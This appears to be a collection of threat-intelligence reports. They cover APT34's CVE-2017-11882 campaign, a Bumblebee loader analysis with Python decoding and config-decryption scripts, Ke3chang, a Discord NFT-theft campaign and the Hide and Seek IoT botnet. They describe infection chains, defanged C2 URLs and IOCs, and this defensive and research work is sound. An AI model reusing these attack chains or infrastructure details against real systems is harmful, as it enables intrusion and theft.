| a7b6639d9fcdb13ae5444818e1c35fba4ffed90d9f33849d3e6f9b3ba8443bea | Embedded Mach-O | Adware.MacOS.BUNDLORE.MANP | |
# New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit
**Manish Sardiwal, Vincent Cannon, Nalani Fraser, Yogesh Londhe, Nick Richard, Jacqueline O’Leary**
**Dec 07, 2017**
**9 mins read**
Advanced Persistent Threats (APTs)
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East. We assess this activity was carried out by a suspected Iranian cyber espionage threat group, whom we refer to as APT34, using a custom PowerShell backdoor to achieve its objectives.
We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014. This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.
APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. We now attribute that campaign to APT34. In July 2017, we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER, based on strings within the malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199.
In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER. The full report on APT34 is available to our MySIGHT customer community. APT34 loosely aligns with public reporting related to the group "OilRig". As individual organizations may track adversaries using varied data sets, it is possible that our classifications of activity may not wholly align.
## CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability
CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory. The vulnerability was patched by Microsoft on Nov. 14, 2017. A full proof of concept (POC) was publicly released a week later by the reporter of the vulnerability.
The vulnerability exists in the old Equation Editor (EQNEDT32.EXE), a component of Microsoft Office that is used to insert and evaluate mathematical formulas. The Equation Editor is embedded in Office documents using object linking and embedding (OLE) technology. It is created as a separate process instead of a child process of Office applications. If a crafted formula is passed to the Equation Editor, it does not check the data length properly while copying the data, which results in stack memory corruption. As the EQNEDT32.exe is compiled using an older compiler and does not support address space layout randomization (ASLR), a technique that guards against the exploitation of memory corruption vulnerabilities, the attacker can easily alter the flow of program execution.
## Analysis
APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization. The malicious file exploits CVE-2017-11882, which corrupts the memory on the stack and then proceeds to push the malicious data to the stack. The malware then overwrites the function address with the address of an existing instruction from EQNEDT32.EXE. The overwritten instruction is used to call the “WinExec” function from kernel32.dll, which calls the “WinExec” function.
After exploitation, the ‘WinExec’ function is successfully called to create a child process, “mshta.exe”, in the context of the current logged-on user. The process “mshta.exe” downloads a malicious script from hxxp://mumbai-m[.]site/b.txt and executes it.
## Execution Workflow
The malicious script goes through a series of steps to successfully execute and ultimately establish a connection to the command and control (C2) server. The full sequence of events starting with the exploit document is illustrated below.
1. The malicious .rtf file exploits CVE-2017-11882.
2. The malware overwrites the function address with an existing instruction from EQNEDT32.EXE.
3. The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt.
4. b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script.
5. The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\
6. v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory.
7. cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence.
8. GoogleUpdateschecker.vbs is executed after sleeping for five seconds.
9. cUpdateCheckers.bat and *.base are deleted from the staging directory.
After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts. These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities.
## hUpdateCheckers.ps1 (POWRUNER)
The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute. POWRUNER begins by sending a random GET request to the C2 server and waits for a response. The server will respond with either “not_now” or a random 11-digit number. If the response is a random number, POWRUNER will send another random GET request to the server and store the response in a string. POWRUNER will then check the last digit of the stored random number response, interpret the value as a command, and perform an action based on that command. The command values and the associated actions are described in the table below.
| Command | Description | Action |
|---------|-------------|--------|
| 0 | Server response string contains batch commands | Execute batch commands and send results back to server |
| 1 | Server response string is a file path | Check for file path and upload (PUT) the file to server |
| 2 | Server response string is a file path | Check for file path and download (GET) the file |
After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution. The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued.
## dUpdateCheckers.ps1 (BONDUPDATER)
One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server.
BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:
1. Create a temporary file in %temp% location. The file created will have the last two octets of the resolved IP addresses as its filename.
2. BONDUPDATER will evaluate the last character of the file name and perform the corresponding action found in the table below.
| Character | Description |
|-----------|-------------|
| 0 | File contains batch commands, it executes the batch commands |
| 1 | Rename the temporary file as .ps1 extension |
| 2 | Rename the temporary file as .vbs extension |
Some examples of the generated subdomains observed at the time of execution include:
- 143610035BAF04425847B007.mumbai-m[.]site
- 835710065BAF04425847B007.mumbai-m[.]site
- 376110095BAF04425847B007.mumbai-m[.]site
## Network Communication
In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive an additional command string. The C2 server sends back Base64 encoded response. If the server had sent the string “not_now” as a response, POWRUNER would have ceased any further requests and terminated its execution.
## Batch Commands
POWRUNER may also receive batch commands from the C2 server to collect host information from the system. This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data.
## Additional Use of POWRUNER / BONDUPDATER
APT34 has used POWRUNER and BONDUPDATER to target Middle East organizations as early as July 2017. In July 2017, a FireEye Web MPS appliance detected and blocked a request to retrieve and install an APT34 POWRUNER / BONDUPDATER downloader file. During the same month, FireEye observed APT34 target a separate Middle East organization using a malicious .rtf file (MD5: 63D66D99E46FB93676A4F475A65566D8) that exploited CVE-2017-0199. This file issued a GET request to download a malicious file from: hxxp://94.23.172.164/dupdatechecker.doc.
The dupatechecker.exe file (MD5: C9F16F0BE8C77F0170B9B6CE876ED7FB) drops both BONDUPDATER and POWRUNER. These files connect to proxychecker[.]pro for C2.
## Outlook and Implications
Recent activity by APT34 demonstrates that they are a capable group with potential access to their own development resources. During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East. We assess that APT34’s efforts to continuously update their malware, including the incorporation of DGA for C2, demonstrate the group’s commitment to pursuing strategies to deter detection. We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region.
## IOCs
| Filename / Domain / IP | MD5 Hash or Description |
|------------------------|-------------------------|
| CVE-2017-11882 exploit document | A0E6933F4E0497269620F44A083B2ED4 |
| b.txt | 9267D057C065EA7448ACA1511C6F29C7 |
| v.txt/v.vbs | B2D13A336A3EB7BD27612BE7D4E334DF |
| dUpdateCheckers.base | 4A7290A279E6F2329EDD0615178A11FF |
| hUpdateCheckers.base | 841CE6475F271F86D0B5188E4F8BC6DB |
| cUpdateCheckers.bat | 52CA9A7424B3CC34099AD218623A0979 |
| dUpdateCheckers.ps1 | BBDE33F5709CB1452AB941C08ACC775E |
| hUpdateCheckers.ps1 | 247B2A9FCBA6E9EC29ED818948939702 |
| GoogleUpdateschecker.vbs | C87B0B711F60132235D7440ADD0360B0 |
| hxxp://mumbai-m[.]site | POWRUNER C2 |
| hxxp://dns-update[.]club | Malware Staging Server |
| CVE-2017-0199 exploit document | 63D66D99E46FB93676A4F475A65566D8 |
| 94.23.172.164:80 | Malware Staging Server |
| dupatechecker.doc | D85818E82A6E64CA185EDFDDBA2D1B76 |
| dupatechecker.exe | C9F16F0BE8C77F0170B9B6CE876ED7FB |
| proxychecker[.]pro | C2 |
| 46.105.221.247 | Has resolved mumbai-m[.]site & hpserver[.]online |
| 148.251.55.110 | Has resolved mumbai-m[.]site and dns-update[.]club |
| 185.15.247.147 | Has resolved dns-update[.]club |
| 145.239.33.100 | Has resolved dns-update[.]club |
| 82.102.14.219 | Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com |
| v7-hpserver.online.hta | E6AC6F18256C4DDE5BF06A9191562F82 |
| dUpdateCheckers.base | 3C63BFF9EC0A340E0727E5683466F435 |
| hUpdateCheckers.base | EEB0FF0D8841C2EBE643FE328B6D9EF5 |
| cUpdateCheckers.bat | FB464C365B94B03826E67EABE4BF9165 |
| dUpdateCheckers.ps1 | 635ED85BFCAAB7208A8B5C730D3D0A8C |
| hUpdateCheckers.ps1 | 13B338C47C52DE3ED0B68E1CB7876AD2 |
| googleupdateschecker.vbs | DBFEA6154D4F9D7209C1875B2D5D70D5 |
| hpserver[.]online | C2 |
| v7-anyportals.hta | EAF3448808481FB1FDBB675BC5EA24DE |
| dUpdateCheckers.base | 42449DD79EA7D2B5B6482B6F0D493498 |
| hUpdateCheckers.base | A3FCB4D23C3153DD42AC124B112F1BAE |
| dUpdateCheckers.ps1 | EE1C482C41738AAA5964730DCBAB5DFF |
| hUpdateCheckers.ps1 | E516C3A3247AF2F2323291A670086A8F |
| anyportals[.]com | C2 | |
# Bumblebee DocuSign Campaign
In this blog post, I will be going through a recent Bumblebee campaign that impersonates DocuSign. I will cover the execution chain, the PowerShell loader, and some IOC extractions.
## The Phish
The email delivered to the user simply tells them that an invoice is waiting to be paid and that a "unique HTML code" was created for them to download and view the invoice on their computer. Additionally, a password was provided: **RD4432**.
Hovering over the "See The Document" link reveals the action URL:
```
https://onedrive.live.com/download?cid=0F6CD861E2193F6E&resid=F6CD861E2193F6E%21118&authkey=ALbZV_c_Tn7O-OA
```
Instead of going to the actual DocuSign site, the file will be hosted on OneDrive, which, once clicked, will trigger an auto-download of an archive file.
## Execution Chain
Below is a diagram of the execution chain from the moment the phishing mail was opened:
1. The downloaded archive is opened by the user. To extract the IMG file, the user must enter the given password: **RD4432**.
2. Once the IMG file is opened, the user will see only the LNK file; the .ps1 is hidden.
3. The LNK file will execute the hidden .ps1 script.
## Bumblebee Ps1 Loader
I will focus now on what is going on in the script and what I've done to extract the payload. There are about 42 base64 encoded strings (which are actually archives), each stored in a variable named `elem{X}`, for example:
The script removes the first character in the encoded string and replaces it with H to match the .gz magic bytes: `1f 8b`.
This script extracts each string variable, decodes it, and saves it in the selected folder:
```python
from base64 import b64decode
import re
import os
PS1_FILE_PATH = '/Users/igal/malwares/bumblebee/21-02-2023/documents.ps1'
OUTPUT_FOLDER = '/Users/igal/malwares/bumblebee/21-02-2023/archives/'
REG_PATTERN = '^\$elem.*\=\"(.*)\"$'
archiveIndex = 0
if not os.path.exists(OUTPUT_FOLDER):
os.makedirs(OUTPUT_FOLDER)
ps1File = open(PS1_FILE_PATH, 'rb').readlines()
for line in ps1File:
regMatch = re.findall(REG_PATTERN, line.replace(b'\x00', b'').decode('iso-8859-1'))
if regMatch:
varData = b64decode('H' + regMatch[0][1:])
open(f'{OUTPUT_FOLDER}/archive{archiveIndex}.gz', 'wb').write(varData)
print(f'[+] gz archive was created in:{OUTPUT_FOLDER}/archive{archiveIndex}.gz')
archiveIndex += 1
```
Each archive contains code parts of a bigger PowerShell script. I will extract the content of those archives and concatenate them into one large PowerShell script:
```python
import gzip
ARCHIVES_FOLDER = '/Users/igal/malwares/bumblebee/21-02-2023/archives'
OUTPUT_FILE = '/Users/igal/malwares/bumblebee/21-02-2023/powershellCommand.txt'
countArchives = sum(1 for file in os.scandir(ARCHIVES_FOLDER))
finalString = ''
for x in range(0, countArchives):
with gzip.open(f'{ARCHIVES_FOLDER}/archive{x}.gz', 'rb') as f:
finalString += f.read().decode('utf-8')
open(OUTPUT_FILE, 'w').write(finalString)
```
Once again, the script contains a huge amount of base64 encoded strings that, once concatenated, create an executable.
## Investigating the Extracted Binary
I found that the extracted binary is a 64-bit DLL. I opened the DLL in IDA to see what is being executed from `DllMain`. `DllMain` will execute the function `sub_180001050`, which contains an interesting array variable. The first value is a pointer to an MZ blob, and the second value seems to be the size of the blob.
I took the starting offset of the blob (`0x180007320`) and added the possible length (`0x169400`). By double-clicking on the printed value, I jumped to the offset, which was the actual end of the blob data.
I opened the binary in x64Dbg and set a breakpoint at the array assignment of the blob and dumped the embedded binary.
## BumbleBee Payload
In this part, I will go over a quick triage process of extracting encrypted configs located in the BumbleBee payload. By simply uploading the payload to Tria.ge, we get a static incrimination that the payload is indeed BumbleBee payload. Additionally, Tria.ge shows us the botnet ID, which is: **202lg**.
Going through what possibly can be the main function of the loader, I saw a call to a function that passes a hardcoded strange-looking string as an argument:
```python
KEY = "XNgHUGLrCD"
BLOB_CONFIG_PORT = "0b002425baa537efd52cf61f683f8116bc994d01c892b9c140f4a29c3f8a0b823f5a65b8dc08bb73c1e7ec5f5cb40ca4a45ea741c5367ad2368ea826d"
BLOB_CONFIG_BOTNET = "0d042549dda537efd52cf61f683f8116bc994d01c892b9c140f4a29c3f8a0b823f5a65b8dc08bb73c1e7ec5f5cb40ca4a45ea741c5367ad2368ea826d"
BLOB_CONFIG_C2 = "0e00260b8b9306c1e418c531590cb72c8eae7f2dfaa38def77c38ca50ca439b30a60578eef248a43f5c9dd69649a3d9193709574f60c4ee605a2991f"
```
### Decryption Script
```python
from Crypto.Cipher import ARC4
import binascii
def toRaw(hexVal):
return binascii.unhexlify(hexVal.encode())
def initCipher():
return ARC4.new(KEY.encode())
cipher = initCipher()
plainPort = cipher.decrypt(toRaw(BLOB_CONFIG_PORT)).split(b'\x00\x00\x00\x00')[0].decode()
cipher = initCipher()
plainBotnet = cipher.decrypt(toRaw(BLOB_CONFIG_BOTNET)).split(b'\x00\x00\x00\x00')[0].decode()
cipher = initCipher()
plainC2List = cipher.decrypt(toRaw(BLOB_CONFIG_C2)).split(b'\x00\x00\x00\x00')[0].decode().split(',')
print(f'[+] Botnet:{plainBotnet}')
print(f'[+] Port:{plainPort}')
print('[+] C2 List:')
for c2 in plainC2List:
print(f'\t[*] {c2}')
```
The retrieved botnet ID is: **202lg**, which correlates with a recent tweet from k3dg3 regarding BumbleBee activity utilized by TA579.
## Summary
In this blog post, we went over a recent BumbleBee campaign that uses a multi-layered PowerShell script to load the BumbleBee loader. I mainly focused on breaking down the PowerShell script rather than the loader capabilities. If you want to learn more about the BumbleBee Loader, check this blog written by Eli Salem.
## IOC's
**Samples:**
- `requested_documents_714407544541.zip` - d4a358c875ab55c811368eabe8fa33d09fe67f2d3beafa97b9504bf800a7a02d
- `8702268950347.img` - a55979165779c3c4fc1bc80b066837df206d9621b0162685ed1a6f6a5203d8af
- `requested information.lnk` - 6fb690fbeb572f4f8f0810dd4d79cff1ca9dbd2caa051611e98d0047f3f2aa56
- `documents.ps1` - b6d05d8f7f1f946806cd70f18f8b6af1b033900cfaa4ab7b7361b19696be9259
- `LoaderDLL.bin` - 2d5c9b33ed298f5fb67ce869c74b2f2ec9179a924780da65fcbc1a0e0463c5d0
- `BumbleBeeLoader.bin` - 4a5d5e6537044cdbf8de9960d79c85b15997784ba1b74659dbfcb248ccc94f59 |
# Operation “Ke3chang”: Targeted Attacks Against Ministries of Foreign Affairs
Diplomatic missions, including ministries of foreign affairs (MFA), are high-priority targets for today’s cyber spies. Large-scale cyber espionage campaigns such as “GhostNet” have demonstrated that government agencies around the world, including embassies, are vulnerable to targeted cyber attacks.
As the crisis in Syria escalated in 2013, FireEye researchers discovered a cyber espionage campaign, which we called “Ke3chang,” that falsely advertised information updates about the ongoing crisis to compromise MFA networks in Europe.
We believe that the Ke3chang attackers operated out of China and had been active since at least 2010. However, we believe specific Syria-themed attacks against MFAs (codenamed by Ke3chang as “moviestar”) began only in August 2013. The timing of the attacks precedes a G20 meeting held in Russia that focused on the crisis in Syria.
This paper provides insight into how ministries of foreign affairs in Europe were targeted and compromised by a threat actor FireEye has dubbed “Ke3chang.” |
# Introduction
What do Paris Hilton, Jimmy Fallon, and Justin Bieber all have in common? Collectively they all spent millions on a popular non-fungible token (NFT) called the Bored Ape Yacht Club (BAYC). Depending on how they store their NFTs, they could also become high-profile targets for cybercrime. Already, in December 2021, a BAYC collector lost $2.2 million after his BAYC and Mutant Ape Yacht Club NFTs were stolen by a hacker.
Source: OpenSea, a popular crypto wallet site, analyzed the BABADEDA Crypter, a crypter that specifically targets crypto and NFT communities through malicious Discord bots. Not only have the attackers behind this campaign evolved their attack methods since then (using other crypters besides the BABADEDA), but we have also recently noticed an increasing number of stopped attacks on Morphisec’s customers’ devices which originated from this particular NFT campaign. In this report, we pick up where we left off in November 2021, taking a closer look at the attacker’s motivations, infrastructure, and activities. We also explain why Next-Generation Anti-Virus (NGAV) and Endpoint Detection and Response (EDR) solutions are not able to protect against these types of campaigns and how Moving Target Defense technology can keep your devices safe from this dangerous threat.
This was not an isolated incident. With the NFT market booming (NFT trading volume increased by over 20,000% from 2020 to 2021), cybercriminals have rushed to adapt their strategies to exploit this still relatively new trend. From imitating social media accounts for NFT creators to making fake Google ads, hackers are exploring all avenues to make away with people’s cryptos and NFTs.
However, one emerging threat vector for crypto crimes that the Morphisec Research Team has noticed and that is particularly worrying is happening through the Discord app.
## What is an NFT?
Non-fungible tokens (NFTs) are digital files that, like cryptocurrencies such as Bitcoin or Ethereum, exist on a blockchain, a form of digital ledger. NFTs can be any type of digital object, from artwork and memes to tweets and audio. In some instances, NFTs may also be tied to physical objects. Each NFT has a digital signature that acts as proof of ownership. However, unlike cryptocurrencies, NFTs are non-fungible, meaning that they can’t be equally exchanged for something else, nor can they be reproduced. In this way, NFTs can be likened to limited edition baseball cards or rare minted coins, where rarity/scarcity equals value. Compounded by increased interest in cryptocurrency (the underlying foundation to creating and tracking NFTs), this has caused a 125% increase in NFT growth, and everyone is jumping in to grab a piece of the pie.
## An Expanding Metaverse
Part of what is propelling the growth of NFT adoption is the promise of the metaverse. The metaverse will be an online, three-dimensional universe that combines multiple virtual spaces. Although it doesn’t yet exist, many see it as a future version of the internet. Accessing these 3D spaces via smartglasses, mobile apps, gaming consoles, and other metaverse-friendly devices, users, represented as 3D avatars, will be able to collaborate, shop, play games, and socialize, much in the same way they do already in the real world.
As an immersive virtual economy, the metaverse will rely on cryptocurrencies as a mode of payment, with each metaverse likely to have its own set of coins. Users will be able to use these coins to pay for goods and services within the metaverse, including NFTs, virtual real estate, shoes, and more. Walmart, Adidas, Gucci, and other popular brands have already invested millions as they make a giant leap into the realm of virtual goods.
## More Money, More Problems
One unforeseen consequence of the growing interest in cryptocurrencies, NFTs, and the metaverse is the rising number of scams. Considering that the NFT market is worth $7 billion and that stealing NFTs can net malicious actors millions of dollars overnight, this is not surprising. As users and businesses continue to embrace this new form of e-commerce, criminals are finding new ways to exploit them.
## Early Warnings - Findings from the Morphisec Research Team
Not long ago, the Morphisec Research Team investigated an NFT and crypto crime campaign known as the BABADEDA Crypter, which we discovered during a new crypter research study. During our investigation, we focused on the crypter’s mechanism and capabilities while also briefly discussing a new campaign targeting the crypto and NFT communities. In this report, we will walk you through the progression of the attacker’s infrastructure and capabilities since November 2020, the first evidence of its activity, until today.
### Infection Strategy
Before moving forward, we need to understand the attacker’s workflow, starting with who their target victims are, up until the point they steal their funds. In this campaign, we identified that the attacker’s targets are Crypto and NFT communities. We know that the actor impersonates existing Crypto/NFT services with a Discord channel. Thus, their victims are members of such communities.
Here is an example of a real scam conducted on a popular Discord forum on February 7, 2022.
### Can You Spot a Fake?
Take the example below. Two of the three NFTs are fakes. Can you tell which ones? The leftmost NFT is sold by an artist with a stolen profile picture. We know this NFT is a scam because it doesn’t have a yellow verification check mark in the upper left-hand corner. The NFT in the middle is also a fake. However, it is obvious that it was created by a more sophisticated criminal because they were able to fake the verification check mark. Nevertheless, if you zoom in, you can tell the difference between this verification check mark and a real check mark (the NFT on the right, with the verification check mark extending outside the avatar). The sophistication of these types of scams, along with the attacks that follow, is increasing every day.
### You’ve Been Scammed, Now What?
By looking at the full attack chain, we can infer that the actor wants to steal high-value NFTs and cryptocurrencies. Their motives explain why they chose the kind of malware delivery method they did. The attack chain comprises several components, and each one can be used as a standalone or as a service. This means that the actor stealing funds from a particular victim is not necessarily the developer of these components. The fact that the components are independent gives the attacker the ability to improve or change tactics quickly.
We will cover the following components in the following sections:
- The attacker creates Discord bots that, to the uninitiated eye, may look like they are owned by one of the official community administrators.
- The bots send private messages to channel members inviting them to download the new desktop application from an official-looking website that is actually owned by the attacker.
- The website is a perfect copy of the real site with one major change - a download button to the fake desktop application.
- Even when the application is downloaded and executed, victims still have no idea something is wrong. Under the hood, however, the malware unpacks itself and loads the final payload.
- The final payload, usually RAT, is used to steal the victim’s browsing data and install keylogger and other surveillance functionalities, including ones that give the attacker complete control over the victim’s machine.
- The attacker can use the stolen data to take over the victim’s identity and transfer their possessions to their own wallet/account.
Malicious bots facilitate over 90% of NFT scams. These bots can be easily obtained through Discord forums, Twitter, and underground exchange communities on the dark web. They are easy to operate and are very lucrative. A motivated bot operator can purchase a program for 0.2 Ethereum ($600 at the time of this writing) and get a 15x+ return in only one week. This return compounds as experience and efficiencies are gained.
### Evolution of the Threat Actor
Although an attack chain has many components, when looking at the evolution of the campaign, two main components jumped out:
1. Improved architecture (both decoy servers and file servers)
2. The final payload used once successful infection is achieved.
In this section, we’ll explain each component and its progression over time:
- Infrastructure - the DevOps and networking infrastructures required from start to finish.
- Execution Methods - which Crypter is being used to deliver the final payload.
- Final Payloads - what final payload the actor used.
### Infrastructure
The actor uses Discord bots to reach their victims. They do so by sending official-looking DMs in targeted Discord channels. To do this, the actor creates dozens of Discord bots that automatically send these messages to potential victims. However, spamming a forum with bots raises suspicions immediately.
Previously, finding and blocking the spamming bots was relatively easy, leading the actor to use better naming conventions. The latest campaign shows the actor using different content within these messages and randomized yet still valid looking usernames. This suggests that the actor actively improves their phishing capabilities and develops their infection method over time.
### Decoy Sites
The main purpose of these fraudulent Discord messages is to lure the victim into downloading the “new official desktop application” from the “official site.” Keeping its real intentions hidden, the attacker creates an identical copy of the home page. The only thing they change is the CTA button. Although the technique for creating decoy sites hasn’t changed, the targeted apps did. The attacker changes the active decoys according to the community it’s currently targeting.
It is not clear why the attacker changes the targeted applications and communities. However, we can assume they do so when their scam is revealed or when they are trying to find a better attacking landscape in new and unaware communities.
### File Servers
The third step of the infection is responsible for delivering the executable to the victim. During our research period, we tracked architectural changes in this mechanism. It looks like the attacker tested several approaches, and now they converge these into their final version.
Version 1: The attacker hosted the fake application inside its respective decoy site. For example, terra-money[.]net served the file Terra_Station_Setup_1.2.1.exe when making a request to terra-money[.]net/station/Terra_Station_Setup_1.2.1.exe route.
Version 2: Cybersquatting. Decoy site A redirects the traffic to decoy site B that holds its malware. For example, safemoone[.]net is a decoy site to the original safemoon.net redirected by larvaslab[.]com to download the fake application from safemoone[.]us/download/LarvaLabs-App_v2.1.1-setup.exe route.
Version 3: All decoys download from the same centralized file server. As of writing this report, the file servers used in this campaign are:
- 17/12/2021 - 10/01/2022: veeffriends[.]com
- 12/01/2022 - Active: download-app-v2[.]fund
- 01/02/2022 - Active: server-storage-dwl[.]com
There’s a clear shift between the methods used. In the beginning, the actor used the simplest working solution. We assume that the second method is a transition step to the third method - we saw a large number of decoy sites downloading from only two other decoy sites. Observing the third method, we can see that the attacker has evolved to use the “right” way from a distributed application’s architecture point of view. Although the third method allows greater flexibility for the attacker to update their malware due to a centralized repository, the problem with this method is that it opens one point of failure - once the currently active file server is down, the attack chain breaks.
### Hosting Services
The actor uses EuroByte’s services as its preferred hosting service to deliver their fake applications. We have found references of other cybercriminals using EuroByte’s services to host DCRat botnet controller, Emotet, AutoKMS, etc.
### Files Delivered
The downloaded files have a similar naming convention, size, and icon as their legitimate counterparts. The naming convention and the icon help fool the victim into believing it’s a legitimate application. On the other hand, a similar size may help evade scanning engines.
### Execution Methods
After mapping the infrastructure used throughout the campaign, we dug into the actor’s execution methods. This campaign was first revealed when our team researched a new crypter used in the wild, but that’s not the only crypter used. At the beginning of the campaign, we saw evidence of the actor using custom .NET Crypters and Crypto Obfuscator. However, starting from August 2021, it looks like the actor has moved to use BABADEDA Crypter as their main crypter of choice.
Although we don’t think this threat actor is the developer behind BABADEDA Crypter, we found that they are the first to use the latest variants. This may suggest that this threat actor purchased a private stub or that there is a close relationship between the two.
By now, we know who the victims are, and we are also aware of the attacker’s goal. What’s left is understanding how the goal was achieved. To answer this question, we traced the final payload from the beginning of the campaign to the end. This resulted in three different RATs used as the final payload - Remcos, BitRAT, and AsyncRAT.
### Technical Details
One of the more recent features added to the attack chain is the usage of a DLL sideloading attack to inject the final payload into a benign application. In our previous research, we explained in detail the inner workings of the BABADEDA Crypter. During our current investigation, we observed that all fake applications utilize a DLL Side-Loading technique on trusted applications such as iisexpress.exe (IIS Express), A3DUtility.exe (Adobe Acrobat Reader), and TopoEdit.exe (Microsoft tool).
The additional layer allows attackers to run the BABADEDA Crypter under a legitimate process instead of a fake one, as done previously. As shown in the figure above, a new DLL is loaded into the process. First, the fake application’s installer will unpack the files to the destination directory. Then it launches the benign executable, for example, A3DUtility.exe. Inside the executable’s import table, we will find BIB.dll import. This is a modified version of the original BIB.dll, used for sideloading the first stage of the malicious payload. This version of BIB.dll isn’t signed and has another entry in its IAT - an import of AcroInfo.dll.
### Options to Prevention and Response
Gaining Insights
Hacked credentials and crypto accounts are among the most sought-after and valuable items for purchase on the dark web and underground communities. Due to the skyrocketing prices of BTC, ETH, and other cryptocurrencies, hacked accounts may hold large sums of coin-based currency and cash, protected by relaxed security measures after the initial verification process. This can then be cashed in for NFTs and other high-value goods in the metaverse and the physical world.
Morphisec Insights, as well as Morphisec Threat Intelligence, can act as an early warning system for your enterprise to give you visibility into criminals that are targeting your employees and organization. Credential theft and account takeover is a common entry point for criminals to establish a foothold into your organization and move laterally, further enforcing more damage to business operations and critical assets. The industry best practice is to monitor the areas where criminals operate to mitigate attacks before they occur.
### Moving Target Defense
As a prevention-focused solution, Morphisec Guard morphs device memory to confuse and trap attacks that avoid NGAV solutions. As a result, defenders can automatically protect assets like NFTs and cryptocurrencies against zero-day threats like the crypters discussed in this report.
### When All Else Fails
In many cases, we have found that it is already too late to prevent this type of attack from occurring, and incident response (IR) is needed. Morphisec Incident Response team works collaboratively with client organizations to triage critical security incidents and conduct forensic analysis to solve immediate cyberattacks, as well as provide recommendations for reducing your organization’s risk exposure.
The Morphisec IR team will leverage this insight to:
- Help contain in-progress incidents and reduce damage.
- Provide recommendations for long-term risk reduction.
- Audit critical infrastructure to ensure you have the lowest possible risk of exposure to a cyberattack.
## Conclusion
As demonstrated above, these highly dangerous crypters can have a devastating effect. Targeting cryptocurrency users through trusted attack vectors gives its distributors a fast-growing selection of potential victims. Because crypters can masquerade as known applications with complex obfuscation techniques, anyone relying on traditional signature-based malware detection has no way of knowing if a crypter is on their machine and can’t stop it from executing. Machine learning and behavior-based endpoint protection platforms (EPP) or endpoint detection and response (EDR) solutions may also have a difficult time detecting this type of attack, as they are not as effective against in-memory attacks. Mitigating the threat posed by a crypter requires securing the device memory it targets. Morphisec does this through Moving Target Defense (MTD), a technology that creates a dynamic attack surface and morphs process memory to trap crypters like BABADEDA before they are able to deploy. |
# "Hide and Seek" Becomes First IoT Botnet Capable of Surviving Device Reboots
**By Catalin Cimpanu**
**May 8, 2018**
Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains.
"Hide and Seek" malware copies itself to `/etc/init.d/`. Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to `/etc/init.d/`, a folder that houses daemon scripts on Linux-based operating systems — like the ones on routers and IoT devices. By placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.
The malware strain that achieved something that even the Mirai strain couldn't is called Hide and Seek (HNS) — also spelled Hide 'N Seek.
HNS botnet has evolved considerably in the past few months. Bitdefender experts first spotted the HNS malware and its adjacent botnet in early January this year, and the botnet grew to around 32,000 bots by the end of the same month. Experts say HNS has infected 90,000 unique devices from the time of discovery until today. Crooks used two exploits to create their initial botnet, which was unique from other IoT botnets active today because it used a custom P2P protocol to control infected systems.
